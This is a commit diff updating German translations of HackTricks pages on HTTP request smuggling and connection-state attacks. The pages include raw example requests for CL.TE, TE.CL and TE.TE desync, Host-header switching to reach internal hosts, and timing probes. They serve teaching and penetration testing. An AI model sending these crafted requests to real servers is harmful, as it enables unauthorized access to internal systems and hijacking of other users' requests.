mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-15 01:17:36 +00:00
Translated ['pentesting-web/http-connection-request-smuggling.md', 'pent
This commit is contained in:
Translator
parent
33a385486b
commit
60f5bc9ed3
5 changed files with 374 additions and 134 deletions
BIN
.gitbook/assets/image (729).png
Normal file
BIN
.gitbook/assets/image (729).png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 492 KiB |
|
|
@ -2,57 +2,54 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Arbeiten Sie in einem **Cybersicherheitsunternehmen**? Möchten Sie Ihr **Unternehmen in HackTricks bewerben**? Oder möchten Sie Zugriff auf die **neueste Version von PEASS oder HackTricks im PDF-Format** haben? Überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Arbeiten Sie in einem **Cybersicherheitsunternehmen**? Möchten Sie Ihr **Unternehmen in HackTricks beworben sehen**? Oder möchten Sie Zugriff auf die **neueste Version des PEASS erhalten oder HackTricks im PDF-Format herunterladen**? Überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||||
* **Treten Sie der** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegramm-Gruppe**](https://t.me/peass) bei oder **folgen** Sie mir auf **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an das [hacktricks repo](https://github.com/carlospolop/hacktricks) und das [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)** senden.
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
|
||||
* **Treten Sie der** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie mir auf **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an das** [**HackTricks-Repository**](https://github.com/carlospolop/hacktricks) **und das** [**HackTricks-Cloud-Repository**](https://github.com/carlospolop/hacktricks-cloud) **senden**.
|
||||
|
||||
</details>
|
||||
|
||||
**Dies ist eine Zusammenfassung des Beitrags [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)**
|
||||
**Dies ist eine Zusammenfassung des Beitrags** [**https://portswigger.net/research/browser-powered-desync-attacks**](https://portswigger.net/research/browser-powered-desync-attacks)
|
||||
|
||||
## Angriffe auf den Verbindungsstatus <a href="#state" id="state"></a>
|
||||
## Angriffe auf den Verbindungszustand <a href="#state" id="state"></a>
|
||||
|
||||
### Überprüfung der ersten Anforderung
|
||||
### Erst-Anforderungsvalidierung
|
||||
|
||||
Beim Routing von Anforderungen können Reverse-Proxies den **Host-Header** verwenden, um den Ziel-Backend-Server zu bestimmen und sich häufig auf eine Whitelist von Hosts verlassen, die Zugriff haben dürfen. Es besteht jedoch eine Sicherheitslücke in einigen Proxies, bei denen die Whitelist nur für die erste Anforderung in einer Verbindung durchgesetzt wird. Folglich könnten Angreifer dies ausnutzen, indem sie zunächst eine Anforderung an einen zugelassenen Host stellen und dann über dieselbe Verbindung eine interne Website anfordern:
|
||||
```text
|
||||
Beim Routing von Anforderungen können sich Reverse-Proxys auf den **Host-Header** verlassen, um den Ziel-Backend-Server zu bestimmen, wobei sie häufig auf eine Whitelist von Hosts angewiesen sind, die Zugriff haben dürfen. Es besteht jedoch eine Schwachstelle in einigen Proxys, bei der die Whitelist nur bei der ersten Anforderung in einer Verbindung durchgesetzt wird. Folglich könnten Angreifer dies ausnutzen, indem sie zunächst eine Anforderung an einen erlaubten Host stellen und dann über dieselbe Verbindung eine interne Website anfordern:
|
||||
```
|
||||
GET / HTTP/1.1
|
||||
Host: [allowed-external-host]
|
||||
|
||||
GET / HTTP/1.1
|
||||
Host: [internal-host]
|
||||
```
|
||||
Diese Schwachstelle ist zum Glück nicht weit verbreitet.
|
||||
### Erste-Anforderung-Routing
|
||||
|
||||
### Routing der ersten Anfrage
|
||||
|
||||
In einigen Konfigurationen kann ein Front-End-Server den **Host-Header der ersten Anfrage** verwenden, um das Routing für diese Anfrage zum Back-End zu bestimmen und anschließend alle nachfolgenden Anfragen von derselben Client-Verbindung dauerhaft zur selben Back-End-Verbindung zu routen. Dies kann wie folgt demonstriert werden:
|
||||
```text
|
||||
In einigen Konfigurationen kann ein Front-End-Server den **Host-Header der ersten Anfrage** verwenden, um das Back-End-Routing für diese Anfrage zu bestimmen und dann alle nachfolgenden Anfragen von derselben Client-Verbindung dauerhaft an dieselbe Back-End-Verbindung zu routen. Dies kann wie folgt demonstriert werden:
|
||||
```
|
||||
GET / HTTP/1.1
|
||||
Host: example.com
|
||||
|
||||
POST /pwreset HTTP/1.1
|
||||
Host: psres.net
|
||||
```
|
||||
Dieses Problem kann potenziell mit [Host-Header-Angriffen](https://portswigger.net/web-security/host-header) wie Passwort-Reset-Vergiftung oder [Web-Cache-Vergiftung](https://portswigger.net/web-security/web-cache-poisoning) kombiniert werden, um andere Schwachstellen auszunutzen oder unbefugten Zugriff auf zusätzliche virtuelle Hosts zu erlangen.
|
||||
Dieses Problem kann potenziell mit [Host-Header-Angriffen](https://portswigger.net/web-security/host-header) wie z.B. Passwort-Reset-Vergiftung oder [Web-Cache-Vergiftung](https://portswigger.net/web-security/web-cache-poisoning) kombiniert werden, um andere Schwachstellen auszunutzen oder unbefugten Zugriff auf zusätzliche virtuelle Hosts zu erlangen.
|
||||
|
||||
{% hint style="info" %}
|
||||
Um diese Schwachstellen zu identifizieren, kann die Funktion "connection-state probe" in HTTP Request Smuggler genutzt werden.
|
||||
Um diese Schwachstellen zu identifizieren, kann die Funktion 'Verbindungsstatus-Sonde' in HTTP Request Smuggler genutzt werden.
|
||||
{% endhint %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Lernen Sie AWS-Hacking von Null auf Heldenniveau mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Arbeiten Sie in einem **Cybersicherheitsunternehmen**? Möchten Sie Ihr **Unternehmen in HackTricks bewerben**? Oder möchten Sie Zugriff auf die **neueste Version von PEASS erhalten oder HackTricks als PDF herunterladen**? Überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Arbeiten Sie in einem **Cybersicherheitsunternehmen**? Möchten Sie Ihr **Unternehmen in HackTricks beworben sehen**? oder möchten Sie Zugriff auf die **neueste Version des PEASS erhalten oder HackTricks im PDF-Format herunterladen**? Überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||||
* **Treten Sie der** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie mir auf **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an das [hacktricks repo](https://github.com/carlospolop/hacktricks) und [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)** einreichen.
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
|
||||
* **Treten Sie der** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) **bei oder der** [**Telegram-Gruppe**](https://t.me/peass) **bei oder folgen** Sie mir auf **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an das** [**hacktricks-Repo**](https://github.com/carlospolop/hacktricks) **und das** [**hacktricks-cloud-Repo**](https://github.com/carlospolop/hacktricks-cloud) **senden**.
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -1,4 +1,4 @@
|
|||
# HTTP Request Smuggling / HTTP Desync Attack
|
||||
# HTTP Request Smuggling / HTTP Desync Angriff
|
||||
|
||||
<details>
|
||||
|
||||
|
|
@ -6,18 +6,18 @@
|
|||
|
||||
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||||
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen** oder **HackTricks in PDF herunterladen** möchten, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen** möchten oder **HackTricks in PDF herunterladen** möchten, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegramm-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
|
||||
|
||||
</details>
|
||||
|
||||
## Was ist
|
||||
|
||||
Diese Schwachstelle tritt auf, wenn eine **Desynchronisierung** zwischen **Front-End-Proxies** und dem **Back-End**-Server einem **Angreifer** ermöglicht, einen HTTP-**Request** zu **senden**, der von den **Front-End-Proxies** (Load Balancer/Reverse-Proxy) als **eine Anfrage** und vom **Back-End**-Server als **2 Anfragen** interpretiert wird.\
|
||||
Dies ermöglicht es einem Benutzer, die **nächste Anfrage zu modifizieren, die beim Back-End-Server nach seiner** ankommt.
|
||||
Diese Schwachstelle tritt auf, wenn eine **Desynchronisation** zwischen **Front-End-Proxies** und dem **Back-End**-Server es einem **Angreifer** ermöglicht, eine HTTP-Anfrage zu **senden**, die von den **Front-End-Proxies** (Lastenausgleichs-/Reverse-Proxy) als **eine Anfrage** und vom **Back-End**-Server als **2 Anfragen** interpretiert wird.\
|
||||
Dies ermöglicht es einem Benutzer, die **nächste Anfrage zu modifizieren, die nach ihm beim Back-End-Server ankommt**.
|
||||
|
||||
### Theorie
|
||||
|
||||
|
|
@ -31,19 +31,19 @@ Dies ermöglicht es einem Benutzer, die **nächste Anfrage zu modifizieren, die
|
|||
|
||||
**Transfer-Encoding: chunked**
|
||||
|
||||
> Der Transfer-Encoding-Header gibt die Art der Codierung an, die verwendet wird, um den Nutzlastkörper sicher an den Benutzer zu übertragen.\
|
||||
> Der Transfer-Encoding-Header gibt die Form der Codierung an, die verwendet wird, um den Nutzlastkörper sicher an den Benutzer zu übertragen.\
|
||||
> Chunked bedeutet, dass große Daten in einer Reihe von Chunks gesendet werden.
|
||||
|
||||
### Realität
|
||||
|
||||
Das **Front-End** (ein Load-Balancer/Reverse-Proxy) **verarbeitet** den _**Content-Length**_- oder den _**Transfer-Encoding**_-Header und der **Back-End**-Server **verarbeitet den anderen**, was eine **Desynchronisierung** zwischen den beiden Systemen verursacht.\
|
||||
Dies könnte sehr kritisch sein, da **ein Angreifer eine Anfrage an den Reverse-Proxy senden kann**, die vom **Back-End**-Server **als 2 verschiedene Anfragen interpretiert wird**. Die **Gefahr** dieser Technik besteht darin, dass der **Back-End**-Server die **injizierte 2. Anfrage** als käme sie vom nächsten Client und die **echte Anfrage** dieses Clients wird Teil der **injizierten Anfrage** sein.
|
||||
Das **Front-End** (ein Lastenausgleichs-/Reverse-Proxy) **verarbeitet** den _**Content-Length**_- oder den _**Transfer-Encoding**_-Header und der **Back-End**-Server **verarbeitet den anderen**, was eine **Desynchronisation** zwischen den beiden Systemen verursacht.\
|
||||
Dies könnte sehr kritisch sein, da **ein Angreifer eine Anfrage an den Reverse-Proxy senden kann**, die vom **Back-End**-Server **als 2 verschiedene Anfragen interpretiert wird**. Die **Gefahr** dieser Technik liegt darin, dass der **Back-End**-Server die **injizierte 2. Anfrage** so interpretieren wird, als ob sie **vom nächsten Client stammt**, und die **echte Anfrage** dieses Clients wird **Teil** der **injizierten Anfrage** sein.
|
||||
|
||||
### Besonderheiten
|
||||
|
||||
Denken Sie daran, dass in HTTP **ein Zeilenumbruch aus 2 Bytes besteht:**
|
||||
Denken Sie daran, dass in HTTP **ein Zeilenumbruch aus 2 Bytes besteht**:
|
||||
|
||||
* **Content-Length**: Dieser Header verwendet eine **Dezimalzahl**, um die **Anzahl** von **Bytes** des **Körpers** der Anfrage anzugeben. Der Körper wird erwartet, dass er mit dem letzten Zeichen endet, **ein Zeilenumbruch ist am Ende der Anfrage nicht erforderlich**.
|
||||
* **Content-Length**: Dieser Header verwendet eine **Dezimalzahl**, um die **Anzahl** von **Bytes** des **Körpers** der Anfrage anzugeben. Der Körper soll mit dem letzten Zeichen enden, **ein Zeilenumbruch ist am Ende der Anfrage nicht erforderlich**.
|
||||
* **Transfer-Encoding:** Dieser Header verwendet im **Körper** eine **hexadezimale Zahl**, um die **Anzahl** von **Bytes** des **nächsten Chunks** anzugeben. Der **Chunk** muss mit einem **Zeilenumbruch enden**, aber dieser Zeilenumbruch **wird nicht durch den Längenindikator gezählt**. Diese Übertragungsmethode muss mit einem **Chunk der Größe 0 enden, gefolgt von 2 Zeilenumbrüchen**: `0`
|
||||
* **Connection**: Basierend auf meiner Erfahrung wird empfohlen, **`Connection: keep-alive`** bei der ersten Anfrage des Request Smuggling zu verwenden.
|
||||
|
||||
|
|
@ -53,7 +53,7 @@ Denken Sie daran, dass in HTTP **ein Zeilenumbruch aus 2 Bytes besteht:**
|
|||
Beim Versuch, dies mit Burp Suite auszunutzen, **deaktivieren Sie `Update Content-Length` und `Normalize HTTP/1 line endings`** im Repeater, da einige Gadgets Zeilenumbrüche, Wagenrückläufe und fehlerhafte Content-Lengths missbrauchen.
|
||||
{% endhint %}
|
||||
|
||||
HTTP-Request-Smuggling-Angriffe werden durch den Versand mehrdeutiger Anfragen erstellt, die Diskrepanzen in der Interpretation der `Content-Length` (CL) und `Transfer-Encoding` (TE) Header durch Front-End- und Back-End-Server ausnutzen. Diese Angriffe können sich in verschiedenen Formen manifestieren, hauptsächlich als **CL.TE**, **TE.CL** und **TE.TE**. Jeder Typ repräsentiert eine einzigartige Kombination, wie die Front-End- und Back-End-Server diese Header priorisieren. Die Schwachstellen entstehen daraus, dass die Server dieselbe Anfrage auf unterschiedliche Weise verarbeiten, was zu unerwarteten und potenziell bösartigen Ergebnissen führen kann.
|
||||
HTTP-Request-Smuggling-Angriffe werden durch das Senden mehrdeutiger Anfragen erstellt, die Diskrepanzen in der Interpretation der `Content-Length` (CL) und `Transfer-Encoding` (TE) Header durch Front-End- und Back-End-Server ausnutzen. Diese Angriffe können sich in verschiedenen Formen manifestieren, hauptsächlich als **CL.TE**, **TE.CL** und **TE.TE**. Jeder Typ repräsentiert eine einzigartige Kombination, wie die Front-End- und Back-End-Server diese Header priorisieren. Die Schwachstellen entstehen, weil die Server dieselbe Anfrage auf unterschiedliche Weise verarbeiten, was zu unerwarteten und potenziell bösartigen Ergebnissen führen kann.
|
||||
|
||||
### Grundlegende Beispiele von Schwachstellentypen
|
||||
|
||||
|
|
@ -89,7 +89,7 @@ Foo: x
|
|||
* **Angriffsszenario:**
|
||||
* Der Angreifer sendet eine chunked Anfrage, bei der die Chunk-Größe (`7b`) und die tatsächliche Inhaltslänge (`Content-Length: 4`) nicht übereinstimmen.
|
||||
* Der Front-End-Server leitet die gesamte Anfrage an das Back-End weiter, indem er `Transfer-Encoding` beachtet.
|
||||
* Der Back-End-Server verarbeitet aufgrund von `Content-Length` nur den Anfang der Anfrage (`7b` Bytes) und lässt den Rest als Teil einer unbeabsichtigten nachfolgenden Anfrage.
|
||||
* Der Back-End-Server verarbeitet, unter Berücksichtigung von `Content-Length`, nur den Anfang der Anfrage (`7b` Bytes) und lässt den Rest als Teil einer unbeabsichtigten nachfolgenden Anfrage.
|
||||
* **Beispiel:**
|
||||
|
||||
```
|
||||
|
|
@ -115,7 +115,7 @@ x=
|
|||
* **Angriffsszenario:**
|
||||
* Der Angreifer sendet eine Anfrage mit verschleierten `Transfer-Encoding`-Headern.
|
||||
* Je nachdem, welcher Server (Front-End oder Back-End) die Verschleierung nicht erkennt, kann eine CL.TE- oder TE.CL-Schwachstelle ausgenutzt werden.
|
||||
* Der nicht verarbeitete Teil der Anfrage, wie von einem der Server gesehen, wird Teil einer nachfolgenden Anfrage, was zu Smuggling führt.
|
||||
* Der nicht verarbeitete Teil der Anfrage, wie von einem der Server gesehen, wird Teil einer nachfolgenden Anfrage, was zu smuggling führt.
|
||||
* **Beispiel:**
|
||||
|
||||
```
|
||||
|
|
@ -138,7 +138,7 @@ Transfer-Encoding
|
|||
#### **CL.CL Szenario (Content-Length von Front-End und Back-End verwendet):**
|
||||
|
||||
* Beide Server verarbeiten die Anfrage ausschließlich anhand des `Content-Length`-Headers.
|
||||
* Dieses Szenario führt in der Regel nicht zu Smuggling, da beide Server die Anfragelänge auf die gleiche Weise interpretieren.
|
||||
* Dieses Szenario führt in der Regel nicht zu smuggling, da beide Server die Anfragelänge auf die gleiche Weise interpretieren.
|
||||
* **Beispiel:**
|
||||
|
||||
```
|
||||
|
|
@ -152,8 +152,8 @@ Normale Anfrage
|
|||
|
||||
#### **CL != 0 Szenario:**
|
||||
|
||||
* Bezieht sich auf Szenarien, in denen der `Content-Length`-Header vorhanden ist und einen Wert ungleich Null aufweist, was darauf hinweist, dass der Anfragekörper Inhalt hat.
|
||||
* Es ist entscheidend für das Verständnis und die Ausführung von Smuggling-Angriffen, da es beeinflusst, wie Server das Ende einer Anfrage bestimmen.
|
||||
* Bezieht sich auf Szenarien, in denen der `Content-Length`-Header vorhanden ist und einen Wert ungleich Null hat, was darauf hinweist, dass der Anfragekörper Inhalt hat.
|
||||
* Es ist entscheidend für das Verständnis und die Ausführung von smuggling-Angriffen, da es beeinflusst, wie Server das Ende einer Anfrage bestimmen.
|
||||
* **Beispiel:**
|
||||
|
||||
```
|
||||
|
|
@ -162,30 +162,24 @@ Host: vulnerable-website.com
|
|||
Content-Length: 16
|
||||
Connection: keep-alive
|
||||
|
||||
Nicht leerer Körper
|
||||
Nicht-leerer Körper
|
||||
```
|
||||
|
||||
#### Erzwingen über hop-by-hop-Header
|
||||
|
||||
Durch den Missbrauch von hop-by-hop-Headern könnten Sie dem Proxy anzeigen, **den Header Content-Length oder Transfer-Encoding zu löschen, sodass ein HTTP-Anfragesmuggling möglich ist, um Missbrauch zu betreiben**.
|
||||
Durch den Missbrauch von hop-by-hop-Headern könnten Sie dem Proxy anzeigen, dass er den Header `Content-Length` oder `Transfer-Encoding` löschen soll, sodass ein HTTP-Anfrage-Smuggling möglich ist, um es auszunutzen.
|
||||
```
|
||||
Connection: Content-Length
|
||||
```
|
||||
Für **weitere Informationen zu hop-by-hop Headern** besuchen Sie:
|
||||
## Finden von HTTP-Request-Smuggling
|
||||
|
||||
{% content-ref url="../abusing-hop-by-hop-headers.md" %}
|
||||
[abusing-hop-by-hop-headers.md](../abusing-hop-by-hop-headers.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Auffinden von HTTP-Request-Smuggling
|
||||
|
||||
Die Identifizierung von Schwachstellen bei HTTP-Request-Smuggling kann oft mithilfe von Timing-Techniken erreicht werden, die darauf beruhen, wie lange der Server benötigt, um auf manipulierte Anfragen zu antworten. Diese Techniken sind besonders nützlich zur Erkennung von CL.TE- und TE.CL-Schwachstellen. Neben diesen Methoden gibt es auch andere Strategien und Tools, die verwendet werden können, um solche Schwachstellen zu finden:
|
||||
Die Identifizierung von HTTP-Request-Smuggling-Schwachstellen kann oft mithilfe von Timing-Techniken erreicht werden, die darauf beruhen, wie lange der Server benötigt, um auf manipulierte Anfragen zu antworten. Diese Techniken sind besonders nützlich zur Erkennung von CL.TE- und TE.CL-Schwachstellen. Neben diesen Methoden gibt es auch andere Strategien und Tools, die verwendet werden können, um solche Schwachstellen zu finden:
|
||||
|
||||
### Auffinden von CL.TE-Schwachstellen mithilfe von Timing-Techniken
|
||||
|
||||
* **Methode:**
|
||||
* Senden Sie eine Anfrage, die, wenn die Anwendung anfällig ist, dazu führt, dass der Backend-Server auf zusätzliche Daten wartet.
|
||||
* **Beispiel:**
|
||||
* Senden Sie eine Anfrage, die, wenn die Anwendung anfällig ist, dazu führt, dass der Backend-Server auf zusätzliche Daten wartet.
|
||||
* **Beispiel:**
|
||||
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
|
|
@ -199,17 +193,17 @@ A
|
|||
0
|
||||
```
|
||||
* **Beobachtung:**
|
||||
* Der Front-End-Server verarbeitet die Anfrage basierend auf `Content-Length` und unterbricht die Nachricht vorzeitig.
|
||||
* Der Backend-Server, der eine chunked-Nachricht erwartet, wartet auf den nächsten Chunk, der jedoch nie ankommt, was zu einer Verzögerung führt.
|
||||
* Der Front-End-Server verarbeitet die Anfrage basierend auf `Content-Length` und schneidet die Nachricht vorzeitig ab.
|
||||
* Der Backend-Server, der eine chunked-Nachricht erwartet, wartet auf den nächsten Chunk, der nie ankommt, was zu einer Verzögerung führt.
|
||||
* **Indikatoren:**
|
||||
* Timeouts oder lange Verzögerungen bei der Antwort.
|
||||
* Erhalt eines 400 Bad Request-Fehlers vom Backend-Server, manchmal mit detaillierten Serverinformationen.
|
||||
* Timeouts oder lange Verzögerungen in der Antwort.
|
||||
* Erhalt eines 400 Bad Request-Fehlers vom Backend-Server, manchmal mit detaillierten Serverinformationen.
|
||||
|
||||
### Auffinden von TE.CL-Schwachstellen mithilfe von Timing-Techniken
|
||||
|
||||
* **Methode:**
|
||||
* Senden Sie eine Anfrage, die, wenn die Anwendung anfällig ist, dazu führt, dass der Backend-Server auf zusätzliche Daten wartet.
|
||||
* **Beispiel:**
|
||||
* Senden Sie eine Anfrage, die, wenn die Anwendung anfällig ist, dazu führt, dass der Backend-Server auf zusätzliche Daten wartet.
|
||||
* **Beispiel:**
|
||||
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
|
|
@ -222,43 +216,41 @@ Content-Length: 6
|
|||
X
|
||||
```
|
||||
* **Beobachtung:**
|
||||
* Der Front-End-Server verarbeitet die Anfrage basierend auf `Transfer-Encoding` und leitet die gesamte Nachricht weiter.
|
||||
* Der Backend-Server, der eine Nachricht basierend auf `Content-Length` erwartet, wartet auf zusätzliche Daten, die jedoch nie eintreffen, was zu einer Verzögerung führt.
|
||||
* Der Front-End-Server verarbeitet die Anfrage basierend auf `Transfer-Encoding` und leitet die gesamte Nachricht weiter.
|
||||
* Der Backend-Server, der eine Nachricht basierend auf `Content-Length` erwartet, wartet auf zusätzliche Daten, die nie eintreffen, was zu einer Verzögerung führt.
|
||||
|
||||
### Andere Methoden zum Auffinden von Schwachstellen
|
||||
|
||||
* **Differenzielle Antwortanalyse:**
|
||||
* Senden Sie leicht abgewandelte Versionen einer Anfrage und beobachten Sie, ob sich die Serverantworten auf unerwartete Weise unterscheiden, was auf eine Analyse-Diskrepanz hinweist.
|
||||
* **Differentielle Antwortanalyse:**
|
||||
* Senden Sie leicht abgewandelte Versionen einer Anfrage und beobachten Sie, ob sich die Serverantworten auf unerwartete Weise unterscheiden, was auf eine Analyse-Diskrepanz hinweist.
|
||||
* **Verwendung automatisierter Tools:**
|
||||
* Tools wie die 'HTTP Request Smuggler'-Erweiterung von Burp Suite können automatisch auf diese Schwachstellen testen, indem sie verschiedene Formen von mehrdeutigen Anfragen senden und die Antworten analysieren.
|
||||
* Tools wie die 'HTTP Request Smuggler'-Erweiterung von Burp Suite können automatisch auf diese Schwachstellen testen, indem sie verschiedene Formen von mehrdeutigen Anfragen senden und die Antworten analysieren.
|
||||
* **Tests zur Content-Length-Varianz:**
|
||||
* Senden Sie Anfragen mit unterschiedlichen `Content-Length`-Werten, die nicht mit der tatsächlichen Inhaltslänge übereinstimmen, und beobachten Sie, wie der Server mit solchen Abweichungen umgeht.
|
||||
* Senden Sie Anfragen mit unterschiedlichen `Content-Length`-Werten, die nicht mit der tatsächlichen Inhaltslänge übereinstimmen, und beobachten Sie, wie der Server mit solchen Abweichungen umgeht.
|
||||
* **Tests zur Transfer-Encoding-Varianz:**
|
||||
* Senden Sie Anfragen mit verschleierten oder fehlerhaften `Transfer-Encoding`-Headern und überwachen Sie, wie unterschiedlich der Front-End- und Back-End-Server auf solche Manipulationen reagieren.
|
||||
* Senden Sie Anfragen mit verdeckten oder fehlerhaften `Transfer-Encoding`-Headern und überwachen Sie, wie unterschiedlich der Front-End- und Back-End-Server auf solche Manipulationen reagieren.
|
||||
|
||||
### Testen von HTTP-Request-Smuggling-Schwachstellen
|
||||
|
||||
Nach Bestätigung der Wirksamkeit von Timing-Techniken ist es entscheidend zu überprüfen, ob Client-Anfragen manipuliert werden können. Eine einfache Methode besteht darin, Ihre Anfragen zu manipulieren, beispielsweise eine Anfrage an `/` zu senden, die eine 404-Antwort auslöst. Die zuvor diskutierten `CL.TE`- und `TE.CL`-Beispiele in [Grundlegende Beispiele](./#basic-examples) zeigen, wie man eine Client-Anfrage manipuliert, um eine 404-Antwort hervorzurufen, obwohl der Client versucht, auf eine andere Ressource zuzugreifen.
|
||||
Nach Bestätigung der Wirksamkeit von Timing-Techniken ist es entscheidend zu überprüfen, ob Client-Anfragen manipuliert werden können. Eine einfache Methode besteht darin, Ihre Anfragen zu manipulieren, z. B. eine Anfrage an `/` zu senden, die eine 404-Antwort liefert. Die zuvor diskutierten `CL.TE`- und `TE.CL`-Beispiele in [Grundlegende Beispiele](./#basic-examples) zeigen, wie man eine Client-Anfrage manipuliert, um eine 404-Antwort hervorzurufen, obwohl der Client versucht, auf eine andere Ressource zuzugreifen.
|
||||
|
||||
**Wichtige Überlegungen**
|
||||
|
||||
Beim Testen von Request-Smuggling-Schwachstellen durch Eingriffe in andere Anfragen beachten Sie:
|
||||
Beim Testen von Request-Smuggling-Schwachstellen durch Eingriffe in andere Anfragen sollten Sie beachten:
|
||||
|
||||
* **Unterschiedliche Netzwerkverbindungen:** Die "Angriffs-" und "normalen" Anfragen sollten über separate Netzwerkverbindungen gesendet werden. Die Verwendung derselben Verbindung für beide bestätigt nicht das Vorhandensein der Schwachstelle.
|
||||
* **Konsistente URL und Parameter:** Versuchen Sie, für beide Anfragen identische URLs und Parameter zu verwenden. Moderne Anwendungen leiten Anfragen oft an spezifische Backend-Server basierend auf URL und Parametern weiter. Durch die Übereinstimmung wird die Wahrscheinlichkeit erhöht, dass beide Anfragen vom selben Server verarbeitet werden, eine Voraussetzung für einen erfolgreichen Angriff.
|
||||
* **Timing und Rennbedingungen:** Die "normale" Anfrage, die dazu dient, Störungen von der "Angriffs-" Anfrage zu erkennen, konkurriert mit anderen gleichzeitigen Anwendungsanfragen. Senden Sie daher die "normale" Anfrage unmittelbar nach der "Angriffs-" Anfrage. Bei stark frequentierten Anwendungen sind möglicherweise mehrere Versuche erforderlich, um die Schwachstelle abschließend zu bestätigen.
|
||||
* **Herausforderungen bei der Lastverteilung:** Front-End-Server, die als Lastenausgleicher fungieren, können Anfragen auf verschiedene Backend-Systeme verteilen. Wenn die "Angriffs-" und "normalen" Anfragen auf unterschiedlichen Systemen landen, wird der Angriff nicht erfolgreich sein. Dieser Aspekt der Lastverteilung erfordert möglicherweise mehrere Versuche, um eine Schwachstelle zu bestätigen.
|
||||
* **Herausforderungen beim Lastenausgleich:** Front-End-Server, die als Lastenausgleicher fungieren, können Anfragen auf verschiedene Backend-Systeme verteilen. Wenn die "Angriffs-" und "normalen" Anfragen auf verschiedenen Systemen landen, wird der Angriff nicht erfolgreich sein. Dieser Aspekt des Lastenausgleichs erfordert möglicherweise mehrere Versuche, um eine Schwachstelle zu bestätigen.
|
||||
